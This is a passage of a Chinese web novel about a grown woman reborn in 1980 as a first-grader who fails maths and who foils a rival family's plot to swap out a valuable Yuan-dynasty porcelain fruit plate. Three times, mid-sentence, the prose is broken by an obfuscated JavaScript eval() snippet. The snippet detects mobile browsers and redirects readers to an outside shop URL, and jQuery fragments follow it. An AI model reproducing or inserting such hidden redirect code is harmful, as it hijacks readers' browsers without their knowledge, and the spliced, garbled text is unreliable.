《八十年代少年班》 1. 我要竞赛 1980年,元宵。 那会儿城区还没禁止燃放烟花爆竹,林大金引着小妹林小堂穿过街道五彩斑斓的光芒,走进职工教师筒子楼,叩响陈老师的宿舍门。 陈阳戴上近视眼镜,往门缝里细细张望两眼,见是熟人,他请人进来,顺手提起走廊煤火炉上架着的铝皮吊水壶。 从纸包里抓一把茶叶扔进搪瓷杯,灌入烫水,紧卷的茶叶在腾腾热气中慢慢舒展。 陈阳将茶杯推到对面,拢了拢披在肩上的军大衣,重新坐下,“小堂她哥,大过节的特意跑一趟,有什么事吗?” 这是明知故问。 桌脚旁放着一瓶酒,两斤肉和一个红色大礼盒,全是林大金拎来的,陈阳粗略瞟一眼,心里明了林大金是来走后门的。 他只能揣着明白当糊涂。 上学期期末的成绩单早已发放,全班32人,林小堂排在倒数第一,这样的成绩,定了留级。 林大金提着重礼上门,多半是为此事而来。 “陈老师,您看过了元宵就要开学,小堂留级的事情,咱能不能再商量商量?”林大金搓搓双手,犹豫着从贴着胸膛的上衣口袋中摸出一个红包。 “凡事好商量嘛,这留不留的也是您陈老师一句话的事。” 红包递过去,陈阳没接,他顶了顶鼻梁上的眼镜框,轻叹一声:“唉,小堂她哥,这事不是我不开恩,实在是……” 他起身从后面小板凳上垒着的一堆数学试卷中抽出一张,递给林大金,“你自己瞧吧。” 试卷姓名栏歪歪扭扭写着林小堂几个大字,旁边鲜红的2分格外醒目,接过试卷的林大金当即呆住,“这不对吧?” 他查阅过林小堂带回家的成绩单,数学一栏明明写着20分啊,难道…… 这死小孩,竟然敢骗他! 反应过来的林大金蹭地一下起身,四下找火钳,观望一圈瞧着房间内陌生的布置,才回神这不是在自家。 他今个儿过来是来给林小堂求情的,要忍住,不能当着人陈老师的面把孩子揍一顿。 对,忍住! 林大金运了一口气,闷闷坐下。 以为他为林小堂的成绩烦心,陈阳出声安慰:“小堂她哥,你现在明白了吧。” 不是做老师的铁石心肠,实在是这孩子成绩太差。 整整一张数学卷,就对了一道选择题,得了2分。说句不恰当的话,哪怕是瞎猫逮耗子,随便蒙几个,也不至于只考2分啊。 这孩子,不仅脑子不聪明,运气也挺差。 “这样的成绩,升上去做什么呢?基础都没打好,以后只会越来越跟不上同班同学的进度,我看还是留一级比较好。” 听到留级,林大金一万个不愿意,“陈老师,我知道这孩子基础比较差,但她年龄还小,只要多用点功,总会赶上来的,要不您多费心一些,新学期给她挑个成绩好的学生做同桌带带她……” “得了。”陈阳扬手打断,一言难尽地问:“小堂她哥,你应该知道小堂之前的同桌是谁吧?” “知道。”林大金神色暗下去,“是顾云。” “对呀,小堂她和顾云做了一年的同桌,成绩一直没长进,连顾云都带不动,还有谁能带动?”陈阳一脸恨铁不成钢。 都是七八岁的孩子,怎么差别就这么大呢。 人顾云一年级的小学生能做初中的数学题,各门学科次次考满分,简直是个天才。 自打两年前中科大举行第一期少年班的开学典礼后,人们对天才神童的簇拥一浪高过一浪。 大家都说顾云以后是进少年班的苗子,校长高兴得合不拢嘴,挪了教学预算给报社,大肆宣传顾云的天才事迹。 一传十、十传百,很快大家都知道羊城下面某个县城不知名的小学有位神童。学期一结束,顾云就被省城最好的学校调走。 作为天才神童的同桌,林小堂却要面临留级的命运。 唉,人与人的差距,有时候比人与动物的差距都大。智力上的鸿沟,是无法单纯用努力来弥补的。 “小堂她哥,不是我狠心,实在是没办法。” 一是,林小堂的基础太差,不留级不行;二是,上面有硬行规定。 为了提高教学质量,上面出台严苛的中小学生学籍管理规定,语数两科有一门不及格就得留级。 班上其他不及格的学生或许能够争取争取,数学只考2分的林小堂没法从宽处理。 垫底的学生不留级,反而要其他学生留级,这对其他学生也不公平。 “这事没法让步,小堂她哥,你也别多费口舌,东西都提回去吧,我不收。” 眼看要赶客,林大金急了,扑通一声要跪下,陈阳吓得大惊失色,慌忙抄住他膝盖,将人扶起,“使不得使不得,你这不是折煞我的寿么!” “陈老师,我这也是没办法。”林大金紧紧捏住陈阳的双手,急切恳求:“不瞒您说,小堂是个内向的性子,她要是留级,指定要被班上人嘲笑。” “您是不知道,那些学生都是怎么嘲笑人的,我隔壁王奶奶家的孙子留了一级,总有人在他面前嘘他,什么‘留级生,栽茅坑’,‘留级生,吃鸡粪’,说的可难听了。” “女孩子脸皮厚,经不起这种嘲笑,万一她留下心理阴影,以后对学习更没兴趣那就糟了!” 这番话不是全部的实话,还有一部分原因,林大金没说。 据他了解,林小堂的成绩提不上来,和她的同桌顾云有着莫大的关系。 他怀疑顾云欺负林小堂。 这种欺负不是动手动脚的欺负,而是故意展现优越的成绩,拿言语打压,让林小堂明白自身的平庸。 但他没有证据。 也不需要什么证据,顾家就没一个好东西。 林家和顾家的恩怨由来已久,林大金对顾家人全没好印象。 只不过最近顾家祖坟冒青烟,出了个会读书的顾云,顾云近来风头盛得很,学校校长和老师们都为她自豪,报纸上也天天刊登顾云的消息,她俨然成了全城人的骄傲。 贸然站出来指责顾云,无疑是与全城人为敌,没根没据的,大家指定以为他是出于嫉妒,胡乱栽赃。 林大金坚定地认为,若是换了同桌,林小堂的成绩会慢慢好起来。 眼看顾云已经调走,林小堂的学业慢慢回归正途,这个时候怎么能留级呢! “陈老师,你要是执意让小堂留级,是毁了这孩子啊!”林大金说着又要作势跪下去。 陈阳一手拦住,沉默着没出声,一双眼打量不远处扎着两条羊角辫的脑袋,浑圆的脑袋下方撑着一双嫩芽小手,当事人林小堂正瞪大双眼满屋子好奇地张望。 这小姑娘进了门一声不吭的,安静坐在小板凳上,旁边巨大的动静仿佛影响不了她探寻环境的好奇心。 唉,终究是小孩心性,一点也不体谅她大哥的难处。 “小堂,过来,把你大哥扶起来。” “哦。” 林小堂乖乖走过去,搀扶着林大金坐下。 陈阳被这种动不动下跪的作风吓退,松了嘴:“行了行了,等开学会让没及格的同学进行一次补考,如果小堂成绩依旧垫底,那谁也没办法,只能留级。” 听到有补救的方法,林大金高兴地握住陈阳双手,“谢谢陈老师,太感谢您了,小堂她一定会好好考的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055002|149159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈阳面无表情。 他觉得林大金高兴得太早。 补考不过是他暂时的应对之词,根据林小堂平时的成绩来看,垫底的无疑还是她,补不补考根本没有参考意义,留级的指标只有一个,这个指标非林小堂莫属。 “那陈老师,您看我能不能把这张数学试卷带回去,让小堂好好找找错误,认真复习?” “可以。”陈阳挥挥手,只希望这尊大佛赶紧离开。 “好嘞。”林大金欢天喜地收起试卷,目光无意间瞟到桌上报纸,报纸的一角醒目地写着“小智星杯”几个大字,其中附带着顾云的名字。 “这是……”林大金快速瞟了几眼,“顾云要参加数学竞赛?” “是啊。”谈及昔日最有出息的学生,陈阳语气放缓,面露微笑,“主办方主动邀请的,顾云是从咱们学校走出去的天才,在省城也是很有名气,谁不想瞧瞧天才的真本事?据说往年得了第一名也才500块的奖金,今年特意提到1000块……” 突然,两人谈话间插入脆生生一句:“我也要参加竞赛。” 陈阳和林大金兀地一顿,不约而同往声源方向望了一眼。 站在板凳旁的林小堂紧握着小手,脸上显出与往日不同的激动,因着这份激动,小脸红扑扑的,像被火烤了半天,透出一股成熟苹果的酣红。 陈阳和林大金默默收回目光,继续刚才的话题。 “奖金特意提到1000块?”林大金不太相信,“一千块可不少,主办方这么大方?” 厂里一个工人的基础月工资才40块钱,一年下来不吃不喝也才攒够480块钱,一场竞赛奖竟然抵过两年工资? 这要是让顾云拿到,可不得把顾家高兴死? 一想到顾家会发这笔横财,林大金心里怎么想怎么不是滋味。 “可不是么。”不同于林大金心里的酸劲,陈阳是打心眼里替顾云感到高兴,“这个数学经竞赛在全国都挺有名气,顾云要是拿了奖,那就是名副其实,咱们也算是与有荣焉。” “我说,我也要参加竞赛!”脆生生的声音再次响起。林小堂小脸通红,面上隐着一层被忽视的愤怒。 陈阳顿住,很是稀奇地打量她。 嘿,考2分的娃竟然也有胆量参加数学竞赛,真是初生牛犊不怕虎。 或许是他眼里的轻视太过明显,林小堂沉默着从旁边小板凳垒着的空白试卷中抽出一张,煞有介事地摆到他面前,一脸老成地指着试卷。 “这道题选A,这道题选B,这道题选D,这道题选A……” 随着林小堂的速度越来越快,陈阳的双眼越瞪越大。 终于,他猛地站起身,劈手夺过试卷,“这是五年级的数学试卷,你一个一年级的学生,怎么会做?” 林小堂对上他质疑的目光,半点也不怯,一字一句回复:“因为,我也是天才。” 噗—— 陈阳又好气又好笑,“你当我傻啊,答案页放在最上面,你刚才在小板凳旁坐了半天,偷偷在看答案吧?” 被小学生戏耍一番,陈阳自觉丢了脸,恼羞成怒把两人推了出去,连带着桌脚的礼物与桌上的红包,一股脑全塞了出去。 将人打发走,陈阳重新拿起那张空白的试卷认真看了看。 “第一道题……选A。” “第二道题……选B。” “第三道题……选D。” “第四道题……选A。” 嚯,这小姑娘,果然是看了答案。 他蹲下身四下翻找,找了一圈,没找到答案页。难不成被那孩子偷偷摸摸带走了? 嘿,这小孩! 2. 缓兵之计 被赶出来的林大金捧着一堆礼品闷闷往回走。 筒子楼的过道长长一条,堆满杂物,他七拐八绕钻出昏暗的走廊,身后一双小脚紧紧跟着他的步伐。 他一停,身后的脚步也停。 “我说,你挺有出息啊。”林大金咬牙切齿地回头,撞上一双清澈明亮如小鹿懵懂的眼睛,到嘴边的责备默默憋回肚子里,大过节的在外面发脾气也不好,“行,回去再训你!” 他一走,身后的脚步立马跟上来。 “大哥。”清脆的声音从身后响起。 “说。”林大金忍着一股怒火,没好气地冷冷吐出一个字。 “数学竞赛怎么报名?” “?”林大金脚步一顿,颇为好奇地回望身后的小姑娘,“你还惦记这个?报名早结束了,顾云那是被主办方破例邀请的。再说了,就算报名,也是要参加初赛的,你瞅瞅你自己的成绩,能过关吗?你这是大年三十盼月亮,痴心妄想!” “哦,结束了啊。”小姑娘嘴里喃喃,脸上一副失落惋惜的模样。 这模样把林大金看笑了,“嘿,你还来劲了,我问你,刚才在陈老师面前为啥子要装腔作势?陈老师是你班主任,你就这么戏耍他?” 林小堂耷拉着脑袋不吭声。 “想啥呢,说话!” 林小堂如实回答:“我在想家里的屋顶有没有修好。” “我回去就上屋顶看看,今天肯定能修好……哎不是,我是让你想这件事吗!我问你刚才的事,你扯七扯八尽扯些鸡毛小事故意跟我绕圈子是不是?” “不是小事啊。”林小堂鼓着一张脸,据理力争:“昨夜里漏了一晚上,接水的搪瓷盆就放在床边,那雨水一滴一滴掉在盆里,叮咚叮咚的在我耳边响了一夜,我一宿都没怎么睡,你瞧我眼袋下面那么大一坨黑眼圈呢!” 林大金:“……” 这丫头,啥时候这么金贵了,以前漏雨也没见她睡不着。 “所以……”林小堂叭叭控诉完,一双圆溜溜的杏眼眨也不眨盯着他手上一提肥得流油的猪肉,轻轻吞了吞口水,“大哥,既然陈老师不要咱们的礼,那咱们回去能不能把猪肉炖了?大过节的,家里也该改善改善伙食吧?” “嘿!你一会儿想屋顶的事,一会儿想伙食的事,就不是想想你的正事是吧?”林大金掏出那张考2分的数学试卷,恨铁不成钢:“你现在啥也别想,首先给我想想怎么应对开学后的补考!” 试卷被塞到手上,林小堂摊开看了看,无奈叹息。 唉,现在考试什么的对她而言不是头等大事,吃饭睡觉才是! 谁能想到,前一刻还在公司熬夜改方案,心绞痛一阵后,再睁眼,人已经躺在老林家透风漏雨的房间里。 她知道她是穿书了。 穿成年代文《天才宝贝三岁半》中的天才宝贝……旁边的憨憨同桌,俗称对照组。 对照组不对照组的另说,眼下最重要的问题是——她家很穷。 顶上两位哥哥一位姐姐,加她一个小豆丁,全挤在一间十几平米的小房间,昨夜里漏了一夜的雨,她听着雨声心里无不悲凉地想,一定要好好赚钱,先换个不漏雨的房子。 第二天一早还没睡醒就被她大哥薅起来去拜访班主任陈老师,没办法,现在的她只是个一米来高的小不点,主要任务是好好学习。 那么,问题来了,正儿八经博士毕业的她怎么会穿成只考2分的学渣! 看着试卷上一片鲜红醒目的XX,林小堂直摇脑袋。 她拿奇怪的眼神打量试卷,丝毫没有留意到,旁边的林大金也拿奇怪的眼神打量着她。 这个小妹……不太对劲。 安静的时候太过安静,一旦开口争辩,嘴皮子溜得不像是七八岁的小孩。 莫不是受了留级的刺激? “大哥。”盯着试卷的林小堂突然出声。 回过神的林大金挪开视线,继续往前走,“什么事?” “男儿膝下有黄金,你不能总是动不动就给人跪下。”林小堂收起试卷,颇为郑重地给他提建议。 林大金笑了,“去去去,你知道啥,这都是策略。” 他又没真跪,哪次不是做做样子而已? 况且这策略他也不会对着别人使,像陈老师这样知书达礼的人,才会吃他这套。换了那帮尖酸刻薄的邻居,他哪怕膝盖跪出茧,人家也不会拿正眼瞧他,面对那帮人就得挺直腰板硬气到底。 所谓一个猴有一个栓法,“小妹啊,你要学的地方还多着呢!” “哦。”林小堂乖乖点头。 她要学的地方的确挺多,首先第一点,这里的路况很是复杂,阡陌小道错综复杂,林大金带着她穿街走巷七弯八拐才走到筒子楼,若不紧跟着他步伐,方向感极差的她压根找不到回家的路。 这是个大问题,得赶紧熟悉路况。 见她低着脑袋闷不吭声想事情,林大金心里一动,松口:“得得得,你也别学其他的,先把我给成绩提上来,这才是首要任务知不知道?” “你看顾云都调到省城最好的小学去了,你要是留级,那不得被顾家狠狠嘲笑?” 也不知道顾家是走了什么狗屎运,怎么这个顾云突然间变得这么聪明?小时候也没瞧出这人有什么特别之处啊,真要论起来,那顾云还没自家小妹长得可爱呢。 林大金的目光不自觉挪到林小堂身上,这小丫头圆滚滚的脸蛋,圆溜溜的眼睛,谁看了不夸一句天真烂漫、甜美可爱? 模样是生得挺好,怎么脑袋瓜始终不开窍呢。 人顾云能考满分,她只能考2分,咱老林家的基因到底差哪了! 林大金恨铁不成钢地拍拍林小堂肩膀,“你也别气馁,依我看,那顾云能办到的事,你也能办到,我就还不信了,凭什么他顾家能出天才,咱林家不能出?” “你这样,你这次补考争取考及格好不好?你要是考及格,我买副鞭炮挂在门口,让顾家那个得意忘形的家伙也听听……” 话到一半,林大金顿住,他口中那个得意忘形的家伙顾雨正站在他家大门口,扬起一张虚伪的笑脸迎接他。 “你怎么来了?”林大金没好气地走过去,基本的寒暄免除,表面功夫也懒得做。 林家和顾家的恩怨由来已久,在爷爷辈两家的关系就不怎么融洽,可谓是世袭的仇恨。 顾雨在厂里的工作处处压林大金一头,现在顾云的学习又处处压林小堂一头,这谁能不气? 自打顾云又是登报又是被调去省城,他们顾家可谓是出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055003|149159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽风头,作为家里的老大,顾雨出趟门随时能收到一片恭维。 林大金烦透了那些攀高结贵的邻居和得意洋洋的顾雨,看到他们就心烦。 “今天吹的什么风,咱们家屋小,可装不起大佛。”林大金自顾自地开门,丝毫没有请人进屋的意思。 被晾在门外的顾雨面上一阵青一阵红。 这阵子谁见了他不是巴结讨好?唯独林家人,个个挂起丧脸,让人看着好生恼火,要不是他小妹顾云特意叮嘱过,他今天无论如何也不会跑这一趟。 “大金哥,我今天来也不是为别的,只是想向你借一样东西。”他将手中一袋新鲜苹果放到桌上,陪着笑脸道:“也不是什么贵重东西,就想借你家的果盘用一用。” “是这样的,明儿我家里来客,家里一个果盘招待不了这么多人,特意去买一个又挺不划算,所以想借你家的果盘用一用,明儿用完了我立马还你。” 林大金挑眉,往桌上的又红又大的新鲜苹果瞄了一眼,“就为这事?一个果盘能让你送这么多苹果过来?我看你压根没憋什么好屁,不借!” “你!”被一口回绝,顾雨气得心里吐血。 什么东西,也敢这么和他说话,要不是顾云特意交代过,他才懒得在这里热脸贴冷屁股! 想起顾云交代的话,顾雨慢慢冷静下来,脸上又挂起笑脸,“大金哥,你误会了,这苹果也不是特意买的,最近人情走动,总有人送水果来家里,我看水果太多放家里也吃不完,干脆做人情送送邻居,况且我来借东西总不能空手过来,这多失礼。” “大金哥你也别多想,我寻思着咱们两家的恩怨由来已久,在咱们这一辈手中是该消解消解了,以后两家人见面,和和气气的,多好。今天我拉下脸面过来,也有讲和的意思,就看大金哥您的态度了。” 这一通话听得林大金更是火大。 嘿,他顾家一向眼高于顶不屑于与林家打交道,这会儿突然来讲和,谁信呐! 谁知道这坏心眼的家伙肚子里打的什么歪主意,总之,和顾家纠缠讨不到一点好处,林大金扬手要把苹果塞回去,一回头发现桌子旁站着的小姑娘不知道什么时候偷偷抱着个苹果,啃了好几口。 “你……”林大金语塞。 啃着又红又大新鲜酸甜苹果的林小堂丝毫没注意自家大哥气得快要杀人的眼神,她擦擦嘴边的甜汁,望向顾雨,露出一派孩童的天真:“大哥哥,你放心,苹果我已经吃过了,果盘会借给你的,不过果盘不知道放哪了,得花点时间找一找,我吃完苹果找了果盘就给你送去好不好?” 得,这小姑娘倒是挺懂事。顾雨顺着台阶下坡,“好,那我等你的果盘。” 等人一走,林大金拎起林小堂的衣领就要揍人。 “等等!”危机时刻,林小堂为自己争取来一丝辩解的机会:“大哥你先听我说,我这是缓兵之计!” 哟,数学没学明白,语文倒是挺厉害,兵法都给整上了,林大金气笑,“行,我听听你怎么个缓兵之计。” 林小堂嘿嘿一笑。 她当然知道顾雨没安好心,她还知道她们一家都是顾家的对照组,和顾家打交道总是要倒霉的。 “大哥,你去重新买个一模一样的果盘回来,我再告诉你。” 3. 撞运捡漏 父母走得早,这些年家里都是林大金撑着,他这个大哥又当爹又当妈,一分钱恨不得掰成两半花,想让他多掏钱另买果盘?没门! “你刚才没听顾雨说么,特意重新买一个不划算,他都觉得不划算,你让我去买?一个果盘要五毛呢,我是钱多了没处花?” 等等,他舍不得这五毛也就罢了,怎么顾雨也舍不得? 单单是学校里颁给顾云的奖金,也够顾家手头宽裕好一阵,犯得着果盘都要朝他借吗? 两家向来不和,顾雨借谁的果盘也不会来借他的,奇怪,真是奇怪。 至于那套狗屁的讲和说辞,林大金一个字也不信。 这死小子估计肚子里又在使什么阴谋诡计。难不成猫腻藏在果盘之中? 犹豫之际,身旁的林小堂一个劲地催他去买,他心里好奇,想弄明白到底是怎么一回事,情绪上头之下被怂恿着出了门。 从大市场捧回果盘时,心里直后悔。 果然,人就不该冲动消费。 都怪林小堂! 林大金心里为那多余花出的五毛钱心痛,一进门,瞧见林小堂盘着腿坐在椅子上,饿死鬼投胎似的啃苹果。 屁的缓兵之计,她压根就是馋这袋苹果! 林大金放下果盘又要作势揍人,不等他靠近,吃完苹果的林小堂擦擦嘴,悠然地从椅子上蹦下来,拿起果盘便走。 “等等!”林大金叫住她,“你做什么?” “给顾雨送果盘啊,我答应过他的。吃人嘴软拿人手短,苹果我已经吃啦,该去送果盘了。” 林大金:“……” “你知道我问的不是这个意思,我是想问你为什么要我重新去买一个果盘,家里那个旧果盘明明就放在……” “嘘~”林小堂将食指放在嘴边,“等会儿再跟你说。” 一眨眼的工夫,她捧着果盘飞快消失在眼前。 五分钟后,她大摇大摆地回来,手上又拎着一袋苹果。 这顾家是收了多少苹果,不要钱似的往外送。林大金狐疑地嘀咕两句,“别吃多了,顾家的东西是那么好消化的?小心拉肚子。” 林小堂浑然不觉,捧着苹果专心致志地啃着,一双眼却时不时透过窗户望向斜下方二楼。 片刻后,二楼的红漆木门缓缓推开,一个做贼心虚的身影拎着黑色布袋神色匆匆地出门。 “大哥,有动静!”林小堂猛地跳起来,抓住林大金的胳膊往外拖,“快快快,你不是想弄明白什么情况么,赶紧出门!” 被强拽出门的林大金跟着林小堂神秘兮兮地走了一段路,才发觉自己是在跟踪顾雨。 他莫名其妙不得其解,满肚子疑问在听到林小堂“他黑色布袋里肯定装的是我送给他的果盘”这句话时悉数憋回肚子里。 默默跟了一路,不知不觉来到清平路的工艺街。 北京有潘家园,羊城也有属于自己的古玩市场——天光墟。 在粤语里,天光是天亮的意思。集市是半夜开档,天亮结束,所以平常人家的口头里,天光墟也被称为鬼市。 当然,这些名儿已经不常用,大家更喜欢称呼它现在的名字——工艺街。 听起来正派又专业。 所以,顾雨来工艺街做什么?难道…… 林大金兀地瞪大双眼,不敢置信:“难不成我随手从大市场淘来的果盘……是古董?” 这么看来,一切倒是说得通了。 能让顾雨放下脸面来求和,受了冷言冷语也赔着笑脸的原因,除了天大的利益,还能是什么! 好哇,这一招偷梁换柱真是缺德极了,感情顾家仗着他不知情,偷偷摸摸把他凭运气淘来的古董掉包? 呸,顾家果然没一个好东西! 今天要不是被他发现,这天大的机遇就拱手让人了。林大金越想越生气,抡起袖子要冲上前找顾雨算账,被眼疾手快的林小堂拉住,“大哥,回家说。” 至此,林小堂也终于确定一件事,原来顾家发家的初始资金,来自古董贩卖,而这古董是顾家偷龙转凤盗了她家的! 书中只一笔带过顾家起家的资金来历,说是顾云慧眼识珠,在小摊上瞧中一个青花瓷果盘,没料到青花瓷是真正的元青花,极其稀有珍贵的古董。 靠着这笔买卖,顾家积累原始资金,开启全家暴富的征程。 起初听到顾雨来借果盘,林小堂心里只是猜测,毕竟她家是对照组,哪有这个气运随手一淘便是古董。 顾雨偷偷摸摸的行为证实了她心中猜想。 没想到啊,要不是她留了个心眼,这天大的财富的确要被顾家占了。 可恶!差点与暴富失之交臂! 想想都后怕。 林小堂握紧小拳头,一言不发地跟着林大金回家。 两人到屋时,各有各的愤怒。 “气死我了,你刚才干嘛拦着我?就该把顾雨揍一顿!这个烂心肝的玩意儿,存的都是什么肮脏心思!” “真品不是还在咱们家嘛。”林小堂没什么底气地安慰。 “那不是差点就被他忽悠走了么!这个狼心狗肺的卑鄙家伙,怪不得来借东西的时候腆着一张老脸,原来……” 咚咚咚—— 一阵敲门声传来,狼心狗肺的卑鄙家伙顾雨站在门外,高声询问:“有人在家吗?” 林大金还在气头上,怕他泄露情绪,林小堂主动拉开大门,站在门外的顾雨将手中的果盘递过来,“怕给你家的果盘打碎,我想了想,还是自己去买了件新的,现在用不上了,还给你,不过还是谢谢哈。” “哦。”林小堂没说什么,乖乖接过。 “对了,我看你家这个果盘挺新的,什么时候买的?”临走之际,顾雨装作不经意的样子,随口问道。 林小堂脸不红心不跳地接话:“没买多久,之前我大哥买来的那件被我不小心弄碎了,这是前阵子重新去买的一件,没怎么用过,所以看起来挺新。” “这样啊。”顾雨眼神里闪过一丝惋惜,皱着眉一言不发地走了。 人未走远,在屋子里气得跳脚的林大金怒气冲冲追出去,势要把人模狗样的顾雨揍一顿,林小堂拦住他,“哥,咱们现在是有身家的人,低调点!” “身家”二字成功让林大金冷静下来。 他满怀期待地挨着林小堂坐下,一脸憧憬:“你说这果盘真是个古董吗?能卖什么价啊?” 能卖什么价?呵,顾家的发家全靠它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055004|149159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 林小堂咳了咳,为避免吓着自家大哥,她谦虚地伸出一根手指,“至少得上万吧。” “什么?!”林大金惊得目瞪口呆。 这年头,万元户可是了不得的名号,声名传出去,媒人不得把家里的门槛都踏破?到时候他娶媳妇岂不是易如反掌? 22岁的林大金至今连个对象都没谈过,和他同龄的人不少都成了家,他因着底下一个弟弟两个妹妹,顶上父母又去得早,没有姑娘乐意跟他。 有了钱发了财,他头一件想的事是男人朴实无华的梦想——娶媳妇。 真成了万元户,他要从无人问津的单身汉变成人人青睐的香馍馍咯,想着美事,林大金不禁笑出声,“小妹,你确定这果盘能卖上万?” “确定、肯定以及一定,你要不信,明天咱们带去做下鉴定。”几十万也是上万,几百万也是上万,她也没说错。 瞧瞧上万的价格就把她大哥乐得五迷三道找不到东南西北,若是知道真正的价格,她大哥不得跟范进中举似的,高兴疯了? “鉴定肯定是要鉴定的,欸,不对呀。”林大金回过神,捏着下巴琢磨:“顾雨他是怎么知道我家这个果盘是件古董?” “还能为什么,因为他有个天才妹妹呗。” 天才宝贝的光环很强大,说不定顾云这个气运之子还附带什么古董鉴别的开挂能力,某次偶尔瞧见她家的果盘,料定是个宝贝,留意上了。 “那……”林大金终于意识到更大的不对劲,他狐疑的目光落在旁边人身上,“你又是怎么知道的?” 回想刚才一连串的事情,林小堂的表现几乎与成年人无异,哪有小孩子家家的模样,他有时候甚至会下意识地求问林小堂,这很恐怖。 林大金像是看陌生人一样盯着身旁的小妹不停打量,“你说顾雨是因为有个天才妹妹才知道,那你呢,你搁哪儿知道的?” 林小堂淡然地耸耸肩,“因为……我也是天才。” 空气陡然静默几秒。 “屁嘞,天才只考2分?”大大的巴掌拍在她脑门上,林大金轻啐一句:“瞧给你得意的。” 自家小妹几斤几两他心里门清,嘴上虽然嚷着她哪哪都不差,心里只求她能考个及格,别留级就行。 他老林家就没一个读书的料。 “我去做饭了,今儿过节,吃点好的。” 一向舍不得吃穿的林大金从两斤猪肉上割下一半,切成丝儿,和着青辣椒在铁锅里翻炒,一股诱人的香味从厨房逃逸,勾得林小堂直流口水。 这碗辣椒炒肉是特意犒劳林小堂的。 二妹林二玉装了小手工品去隔壁县城贩卖,估计得有两日才能回来。三弟林三满今天去学校报道,在学校住下了,明儿正式上课。 “你二姐三哥都不在家,今儿你吃独食。” 林大金盛了好大一碗白米饭摆在林小堂面前,要不是她机智地发现果盘的猫腻,那可就亏大了,是该犒劳犒劳她。 “哇!”闻着久违的肉香,林小堂馋得两眼发光。 这年头,吃顿猪肉可不容易,她二话不说捧起饭碗,埋头专心干饭。 呼~真好吃! 以后争取过上顿顿吃肉的日子! 4. 我要报复 次日一大早,林大金带着林小堂赶往清平路的工艺街。 一家装修简朴的私人小店里,林大金靠在柜台旁,盯着堂屋正中央“清居堂”几个漆金大字发呆。 他张嘴打了个哈欠,擦擦眼角的哈欠泪,满是困意的双眼强振精神。 昨夜里想着古董换钱的美事,心里喜滋滋的一宿没怎么睡着,害得他一大早睁不开眼睛,整个人也困得很。 “看好了吗?”百无聊赖的林大金催促面前清瘦老头,“大叔,你快研究一个钟头了,有苗头没?” 老头放下手中的果盘,轻轻摇头:“是仿品。” 短短三个字把林大金的睡意彻底吓没了,“不会吧,要不您再瞧瞧?” 他可是真心实意相信了林小堂的话,认定这是件价值连城的宝贝,昨儿夜里想了一宿卖了钱该怎么花呢,结果告诉他是仿品? 不可能! “您再瞧瞧吧,仔细瞧瞧,我不急,慢慢等。” 老头轻叹一声:“没错的,我干了大半辈子,鲜少出错,不用再瞧了。” “不过你这仿品做工精良,应该是民国早期的,可能会有藏家想收藏,也能值几个钱。” “是吗?”提到钱的事,林大金打起十二分的精神,凑过去小声问:“这个……能值多少钱?” 老头伸出三根手指。 林大金面上一喜,“三百?” “三十。” “啊?”林大金面露失望,这落差也太大了吧。昨夜里还想着卖上万的钱,听说是仿品,寻思卖个几百块也不错,几百块也顶一年的工资呢,到最后居然只有三十? 想想三十块钱也不错,那果盘买来只花了五毛,他这是净赚二十九毛五。 “那个……能不能加点?”林大金做最后的挣扎,摆出平日里在菜摊上的架势试图讲价还价。 老头眼神一眯,“你想加多少?” 林大金伸出两根手指,“再加二十,凑个五十整行不行?” “这……”老头为难,“照理是不应该答应的,不过民国的货少,或许能碰上大方的买家,今儿我就赌一回吧,成交。” “好嘞。”林大金喜滋滋的搓搓双手,准备收钱。 两人一手交钱一手交货的时候,从柜台下方伸出一双嫩芽小手,刺啦一下将果盘抢了过去。 手上一空的老头踮起脚尖俯身望向还不及柜台高的小姑娘,皱眉:“你这小孩捣什么乱,快还回来。” 林小堂没理,将果盘装进布袋中,径直往外走。 “哎哎哎……” 老头急忙从柜台后方绕出来,准备堵人,林大金先他一步将人拦下,“小妹,你干嘛。” 他扯扯林小堂的衣袖,蹲下身压低声音:“别犟,五十块钱不错了。”顶一个月工资呢。 或许是打心眼里认为从大市场上随便淘来的果盘是古董这事太过离奇,尽管心里失落,他还是很快接受现实。 比起前者,这果盘是仿品的事实显然更容易令人接受嘛。 能卖五十块钱也算不错了。 “乖,听话,把果盘给我,成交后我回去给你买两筐苹果。” 林小堂瞪他一眼,没理他,转身走到赶过来的老头面前,冷着脸道:“我大哥不懂,难道你也不懂?我这正宗的元青花,你想拿五十块钱打发?” “元明清的青花瓷,数元青花最稀有最珍贵,五十块钱捡个宝贝,老爷爷,你这算盘打得砰砰响啊。” 哟嚯,这小姑娘竟是个懂行的。 